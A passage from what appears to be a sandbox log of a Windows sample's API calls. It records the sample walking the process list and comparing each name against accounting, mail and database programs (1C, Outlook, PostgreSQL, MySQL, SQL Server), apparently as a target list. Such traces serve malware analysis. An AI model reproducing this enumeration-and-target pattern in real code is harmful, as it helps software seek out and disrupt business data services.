returned -1 [0078.099] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0078.099] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0078.099] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0078.099] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0078.099] lstrlenW (lpString="dwm.exe") returned 7 [0078.099] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1 [0078.099] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1 [0078.100] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1 [0078.100] lstrcmpiW (lpString1="postgres.exe", lpString2="dwm.exe") returned 1 [0078.100] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dwm.exe") returned 1 [0078.100] lstrcmpiW (lpString1="mysqld.exe", lpString2="dwm.exe") returned 1 [0078.100] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dwm.exe") returned 1 [0078.100] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.100] lstrlenW (lpString="svchost.exe") returned 11 [0078.100] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0078.100] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0078.100] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0078.100] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0078.100] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0078.100] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0078.100] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0078.100] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.101] lstrlenW (lpString="svchost.exe") returned 11 [0078.101] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0078.101] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0078.101] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0078.101] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0078.101] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0078.101] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0078.101] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0078.101] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.102] lstrlenW (lpString="svchost.exe") returned 11 [0078.102] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0078.102] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0078.102] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0078.102] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0078.102] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0078.102] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0078.102] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0078.102] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.102] lstrlenW (lpString="svchost.exe") returned 11 [0078.102] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0078.102] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0078.102] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0078.102] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0078.102] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0078.102] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0078.103] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0078.103] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.103] lstrlenW (lpString="svchost.exe") returned 11 [0078.103] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0078.103] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0078.103] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0078.103] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0078.103] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0078.103] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0078.103] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0078.103] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.104] lstrlenW (lpString="svchost.exe") returned 11 [0078.104] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0078.104] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0078.104] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0078.104] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0078.104] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0078.104] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0078.104] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0078.104] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.104] lstrlenW (lpString="svchost.exe") returned 11 [0078.105] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0078.105] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0078.105] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0078.105] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0078.105] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0078.105] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0078.105] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0078.105] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.105] lstrlenW (lpString="svchost.exe") returned 11 [0078.105] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0078.105] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0078.105] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0078.105] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0078.105] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0078.105] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0078.105] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0078.105] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.106] lstrlenW (lpString="svchost.exe") returned 11 [0078.106] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0078.106] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0078.106] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0078.106] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0078.306] lstrlenW (lpString="spoolsv.exe") returned 11 [0078.306] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.307] lstrlenW (lpString="svchost.exe") returned 11 [0078.307] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.307] lstrlenW (lpString="svchost.exe") returned 11 [0078.307] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0078.308] lstrlenW (lpString="audiodg.exe") returned 11 [0078.308] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0078.309] lstrlenW (lpString="sihost.exe") returned 10 [0078.309] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.309] lstrlenW (lpString="svchost.exe") returned 11 [0078.309] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0078.310] lstrlenW (lpString="taskhostw.exe") returned 13 [0078.310] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0078.311] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0078.311] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0078.312] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0078.312] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0078.312] lstrlenW (lpString="explorer.exe") returned 12 [0078.312] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0078.313] lstrlenW (lpString="Memory Compression") returned 18 [0078.313] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0078.314] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0078.314] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0078.314] lstrlenW (lpString="SearchUI.exe") returned 12 [0078.314] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0078.315] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0078.315] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.316] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0078.316] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0078.316] lstrlenW (lpString="taskhostw.exe") returned 13 [0078.316] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0078.317] lstrlenW (lpString="UsoClient.exe") returned 13 [0078.317] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0078.318] lstrlenW (lpString="taskhostw.exe") returned 13 [0078.318] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0078.318] lstrlenW (lpString="msoia.exe") returned 9 [0078.318] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0078.319] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0078.319] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0078.320] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0078.320] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0078.320] lstrlenW (lpString="msoia.exe") returned 9 [0078.320] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0078.321] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0078.321] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0078.322] lstrlenW (lpString="entering.exe") returned 12 [0078.322] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0078.322] lstrlenW (lpString="measurement nut d.exe") returned 21 [0078.322] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0078.323] lstrlenW (lpString="ai element.exe") returned 14 [0078.323] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0078.324] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0078.324] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0078.324] lstrlenW (lpString="clicking.exe") returned 12 [0078.324] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0078.325] lstrlenW (lpString="pack.exe") returned 8 [0078.325] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0078.326] lstrlenW (lpString="try-gtk.exe") returned 11 [0078.326] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0078.327] lstrlenW (lpString="counseling tmp.exe") returned 18 [0078.327] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0078.327] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0078.327] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0078.328] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0078.328] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0078.329] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0078.329] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 [0078.329] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0078.329] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0078.330] lstrlenW (lpString="jerry pure.exe") returned 14 [0078.330] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0078.331] lstrlenW (lpString="powerseller.exe") returned 15 [0078.331] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0078.332] lstrlenW (lpString="non firewall.exe") returned 16 [0078.332] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0078.332] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0078.332] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0078.333] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0078.333] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0078.334] lstrlenW (lpString="dllhost.exe") returned 11 [0078.334] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0078.335] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0078.335] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0078.336] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0078.336] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0078.336] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0078.336] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0078.337] lstrlenW (lpString="bd guidance.exe") returned 15 [0078.337] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0078.338] lstrlenW (lpString="conhost.exe") returned 11 [0078.338] Process32NextW (in: hSnapshot=0x298, lppe=0x24afd2c | 